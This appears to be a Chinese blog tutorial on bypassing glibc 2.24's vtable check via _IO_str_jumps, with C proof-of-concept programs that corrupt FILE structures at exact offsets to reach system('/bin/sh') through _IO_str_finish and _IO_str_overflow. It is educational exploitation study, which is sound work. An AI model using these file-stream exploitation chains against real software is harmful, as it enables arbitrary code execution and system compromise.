glibc2.24下的vtable check以及绕过

IO_FILE知识

[toc]

glibc2.24下的vtable check以及绕过

vtable的check

glibc 2.23中,我们可以劫持_IO_FILE_plus中的vtable,并使其指向我们可控的内存区域,便可使用FSOP等方式调用我们所需的函数。

然而,在glibc2.24下就有了关于vtable劫持的check。例如,我们可以在glibc2.23下使用如下代码完成vtable的劫持,触发后门函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void winner(char* code){
system("echo win");
}


// 这个main函数在glibc2.23是完全可行的,最终可以执行winner函数。
int main(){
// 我们通过打开一个文件的方式,来得到一个_IO_FILE_plus指针fp
FILE* fp = fopen("./flag", "r");

// 我们创建一个fake_vtable,尝试劫持_IO_FILE_plus的vtable指针
size_t* fake_vtable = (size_t*)malloc(0x100);

// 劫持vtable为fake_vtable
*(size_t*)((char*)(fp) + 0xd8) = (size_t)fake_vtable;

// 这条函数调用链最终会调用_IO_overflow,是vtable中的第三个函数指针
fake_vtable[3] = (size_t)winner;

// 要满足安全机制
*(size_t*)((char*)fp + 0x20) = 1;
*(size_t*)((char*)fp + 0x28) = 2;

// 最终会在exit、return、以及libc执行abort调用。
return 0;
}

上面的代码通过正常退出程序,程序使用_IO_flush_all_lockp() -> _IO_new_file_overflow()方式情况调用_IO_FILE_plus中的_IO_overflow函数来清空缓冲区。由于我们劫持了vtable并覆盖了_IO_overflow函数为后门函数,因此可以触发后门,效果如下所示:

image-20231115171452969

然而,上面这段代码在glibc2.24下完全不可行,并且抛出Fatal error: glibc detected an invalid stdio handle错误:

image-20231115171538959

这是因为在glibc2.24中新增了对vtable的安全检查:

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; // 存放虚表的空间的长度
const char *ptr = (const char *) vtable; // 我们构造的虚表
uintptr_t offset = ptr - __start___libc_IO_vtables; // 我们构造的虚表的地址减去存放虚表的空间开始处地址,得到偏移
if (__glibc_unlikely (offset >= section_length)) // 偏移比整个空间长度要大,可能不合法
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

上面的代码可能看起来有些吃力,但是在了解到下面的知识后就会轻松很多:

  • glibc中,存在多种vtables,用于不同场景下,例如_IO_FILE_plus中的_IO_file_jumps虚表就用于文件操作

  • 这些虚表都位于__stop___libc_IO_vtables以及__start___libc_IO_vtables两个变量之间

  • 比如有_IO_file_jumps虚表、_IO_str_jumps虚表

根据以上知识,我们可以得知,上面的代码将会校验_IO_FILE_plus的虚表是否位于存放虚表的那一片空间内,若不位于存放虚表的那片空间,则会进一步通过_IO_vtable_check()函数进行校验,而该函数较难进行绕过,因此我们在glibc2.23下已经无法通过以前的方式对vtable进行劫持了。

柳暗花明

我们上面提到:

glibc中,存在多种vtables,用于不同场景下,例如_IO_FILE_plus中的_IO_file_jumps虚表就用于文件操作

那么,虽然我们无法像以前一样劫持vtable到可控的堆空间,但我们可以劫持_IO_file_jumps为其他的虚表,例如_IO_str_jumps虚表。

劫持为其他虚表后,我们可以利用逻辑上的一些问题进行攻击。

新的利用链 _IO_flush_all_lockp -> _IO_str_finish(<=glibc2.27可用)

我们上面已知可以合法的将_IO_FILE_plusvtable劫持为_IO_str_jumps虚表。那这有什么作用呢?

_IO_str_jumps虚表中,有一个函数叫做_IO_str_finish

1
2
3
4
5
6
7
8
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

其中有一处非常关键:

1
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

可以看到_IO_str_finish函数中,通过_IO_FILE_plus指针fp的偏移来执行了一个函数。为什么我们要劫持vtable而不是直接修改vtable里面的函数?是因为vtable是不可写的!而在_IO_str_finish函数中,可以通过fp的偏移来执行函数,而我们知道fp即结构体_IO_FILE_plus是完全可写的。因此,只要我们劫持_IO_FILE_plusvtable_IO_str_jumps,并将fp对应偏移处修改为system函数的指针,那么就可以通过下面的函数调用链(正常退出、exitabort)来执行任意函数了:

1
_IO_flush_all_lockp() -> _IO_str_finish() -> system()

其实有的师傅可能会问,函数调用链不是_IO_flush_all_lockp() -> _IO_new_file_overflow()吗?如何才能执行到_IO_str_finish函数呢?

_IO_str_jumps表中,有如下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p _IO_str_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a8f650 <_IO_str_finish>,
__overflow = 0x7ffff7a8f2b0 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a8f250 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a8d8a0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a8f630 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a8d900 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a8da90 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a8f780 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a8de40 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a8dd10 <_IO_default_setbuf>,
__sync = 0x7ffff7a8e0c0 <_IO_default_sync>,
__doallocate = 0x7ffff7a8deb0 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a8f100 <_IO_default_read>,
__write = 0x7ffff7a8f110 <_IO_default_write>,
__seek = 0x7ffff7a8f0e0 <_IO_default_seek>,
__close = 0x7ffff7a8e0c0 <_IO_default_sync>,
__stat = 0x7ffff7a8f0f0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a8f120 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a8f130 <_IO_default_imbue>
}

若我们按照正常情况调用_IO_FILE_plus中的_IO_overflow函数,那么偏移是vtable[3],对应到IO_str_jumps中就是_overflow函数。而我们刚刚提到,这些虚表在内存空间是完全连续的,如图所示:

image-20231115174809654

因此,我们只需要将_IO_FILE_plusvtable的值覆盖为_IO_str_jumps - 8 ,即可让vtable[3]指向_IO_str_finish函数,由此一来,我们以往的函数调用链_IO_flush_all_lockp() -> _IO_new_file_overflow()即可变为_IO_flush_all_lockp() -> _IO_str_finish()

再来看如何修改fp指针对应偏移的函数,主要有这么两行:

1
2
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) // 满足安全机制
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); // 执行函数

首先第一行,要fp->_flags & _IO_USER_BUF不为0才可以。而_IO_USER_BUF实际上是一个宏,其定义为#define _IO_USER_BUF 1,因此只需要其fp->_flags,也就是偏移为0处的值的最低位为0即可。对于fp->_IO_buf_base,实际上是接下来要执行的函数的参数,我们要控制其不为0即可。

第二行,执行的函数看起来十分奇怪,其首先使用(_IO_strfile*)fp进行变量类型的强制转换,然后再执行转换后的fp结构体指针指向的_s_free_buffer存放的函数。我们需要控制_free_buffer中存放的函数才可以。实际上,我们知道C语言中结构体被解释为什么不重要,它对应的偏移才重要,那么我们在gdb中查看到((_IO_strfile *) fp)->_s._free_buffer对应fp起始处的偏移,然后将其覆盖为system即可。如图所示:

若我们将fp解释为(_IO_FILE_plus*),那么fp为:

image-20231116100909250

将其解释为_IO_strfile *,那么其会变为:

image-20231116101103720

可以看到,实际上内存中的值不会发生变化,只是看如何对其进行解释。那么我们查看((_IO_strfile *) fp)->_s._free_buffer的偏移如下:

image-20231116101344044

即覆盖对应fp偏移为0xe8处的函数为system,覆盖fp->_IO_buf_base处的值为/bin/sh\x00的地址即可执行system('/bin/sh')

以C语言手写一个glibc2.24下的vtable check绕过如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void winner(char* code){
// system("echo win");
printf("you got it!\n");
printf("The code is :%s.\n", code);
system(code);
}

// vtable的检查方式是在调用vtable函数时,检查vtable是否在 __stop___libc_IO_vtables和__start___libc_IO_vtables之间。
// 而这两个变量之间并不是只有_IO_file_jumps,还有其他很多vtable,例如_IO_str_jumps,以及_IO_wstr_jumps
// 因此我们可以劫持vtable为_IO_str_jumps,然后再覆盖掉_IO_str_jumps里面的函数来完成FSOP
int main(){
// 我们通过打开一个文件的方式,来得到一个_IO_FILE_plus指针fp
FILE* fp = fopen("./flag", "r");

// 要满足安全机制
*(size_t*)((char*)fp + 0x20) = 1;
*(size_t*)((char*)fp + 0x28) = 2;

// 偏移0x38的地方即_IO_buf_base,是函数调用的参数
// 假如是正常退出,栈都清空了,就会导致winner没有参数,别的方法可以
char code[] = "/bin/sh\x00";
*(size_t*)((char*)fp + 0x38) = (size_t)&code;

// flag的最低为要为0
*(char*)(fp) = (char)0;

// 最终调用函数为fp->_s._free_buffer,偏移为0xe8
*(size_t*)((char*)fp + 0xe8) = (size_t)winner;

// vtable我们设置为_IO_str_jumps - 8,由此一来要调用的vtable[3]就成为了_IO_str_finish而不是_IO_OVERFLOW
// _IO_str_jumps的值比_IO_file_jumps的值要大0xc0
size_t _IO_str_jumps_ = (size_t)(*(size_t*)((char*)fp + 0xd8)) + 0xc0;

// 设置为_IO_str_jumps - 8
*(size_t*)((char*)fp + 0xd8) = _IO_str_jumps_ - 8;

exit(1);
// // 最终会在exit、return、以及libc执行abort调用。
// return 0;
}

总结一下函数调用链_IO_flush_all_lockp() -> _IO_str_finish() -> system()需要满足的条件:

  • fp -> _IO_write_ptr大于fp -> _IO_write_base ,分别对应fp偏移0x200x28(这是_IO_flush_all_lockp()要满足的条件)
  • fp -> _flag最低位为0,偏移为0x0
  • 设置vtable_IO_str_jumps - 0x8,定位_IO_str_jumps可以通过_IO_file_jumps等虚表定位。
  • fp -> _IO_buf_base存放要执行函数的参数的地址,偏移为0x38
  • (_IO_strfile* )fp -> _s._free_buffer存放要执行的函数,对应偏移为0xe8

另一条调用链 _IO_flush_all_lockp -> _IO_str_overflow(<=glibc2.27可用)

原理和上面的利用链是一样的,我们此处不再详细阐述,仅仅写下需要构造的条件来供查阅。

  • fp -> _flag最低两字节为0。其偏移为0
  • fp -> _vtable指向_IO_str_jumps_vtable偏移为0xd8
  • 偏移0xe0处为要执行的函数,例如system
  • fp -> _IO_buf_base0,其偏移为0x38
  • fp -> _IO_buf_end(bin_sh_addr - 100) / 2,其偏移为0x40。其中bin_sh_addr是函数参数的地址,若为奇数需要+1
  • fp -> _IO_write_base0,其偏移为0x20
  • fp -> _IO_write_ptr0,其偏移为(bin_sh_addr - 100) / 2 + 1

上面是通常情况下可以调用函数的参数设置,也可以看下面的C语言实现,其中注释包含了详细的要求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void winner(char* code){
// system("echo win");
printf("you got it!\n");
printf("The code is :%s.\n", code);
system(code);
}

// fake_vtable.c中写的是利用_IO_str_jump表中的_IO_finish函数,而本代码中使用_IO_str_jump表中的_IO_overflow函数
int main(){
// 我们通过打开一个文件的方式,来得到一个_IO_FILE_plus指针fp
FILE* fp = fopen("./flag", "r");

// _IO_write_base相对于fp偏移为0x20
// _IO_write_ptr为0x28
// _IO_buf_base为0x38
// _IO_buf_end为0x40

// 要满足fp->_flags & _IO_NO_WRITES 为假,而_IO_NO_WRITES的值为8,因此倒数第二个字节要为0
// 又要满足fp->_flags & _IO_USER_BUF为假,而_IO_USER_BUF的值为1,因此最后一个字节也为0
*(short*)fp = 0;

// 虚表指向_IO_str_jumps
*(size_t*)((char*)fp + 0xd8) = *(size_t*)(((char*)fp + 0xd8)) + 0xc0;

// 此时偏移0xe0处是要执行的函数_IO_str_overflow
*(size_t*)((char*)fp + 0xe0) = (size_t)winner;

// 函数参数:new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100
// 为了方便我们一般直接设置fp->_IO_buf_base为0,方便计算,那么2 * fp->_IO_buf_end + 100 需要等于函数参数例如/bin/sh的地址
// 换算一下也就是 _IO_buf_end = (bin_sh_addr - 100) / 2,注意当bin_sh_addr为奇数的时候向下取整,因此地址为奇数的时候直接将其+1
*(size_t*)((char*)fp + 0x38) = 0;
char* code = "/bin/sh\x00";
size_t address = (size_t)code % 2 == 0 ? (size_t)code : (size_t) code + 1;
*(size_t*)((char*)fp + 0x40) = (size_t)((address - 100) / 2);

// 下一个条件: 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100不能为负数,由于其为函数参数上面已经构造,不再需要管

// 下一个条件:(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
// 我们已经知道fp->_IO_buf_base为0,_IO_buf_end为(bin_sh_addr - 100)/2
// 那么在同样设置fp->_IO_write_base为0的情况下,需要fp->_IO_write_ptr >= (bin_sh_addr - 100)/2 + 1
*(size_t*)((char*)fp + 0x20) = 0;
*(size_t*)((char*)fp + 0x28) = (size_t)((address - 100) / 2 + 1);



exit(1);
// // 最终会在exit、return、以及libc执行abort调用。
return 0;
}

后记

绕过vtable check的方法除了_IO_str_jumps虚表,_IO_wstr_jumps虚表也是同样的。_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理wchar的。

上面提到了这些vtable check的绕过方法都只是在glibc2.27及以下可用,因为到了glibc2.28中,_IO_strfile中的_allocate_buffer_free_buffer已经被简单粗暴地用mallocfree来替换了,自然也就没有函数指针用于覆盖。

参考链接:

raycp师傅的IO_FILE vtable绕过


glibc2.24下的vtable check以及绕过
http://example.com/2023/11/09/system/IO_FILE/glibc2.24下的vtable_check及其应对/
作者
Ltfall
发布于
2023年11月9日
许可协议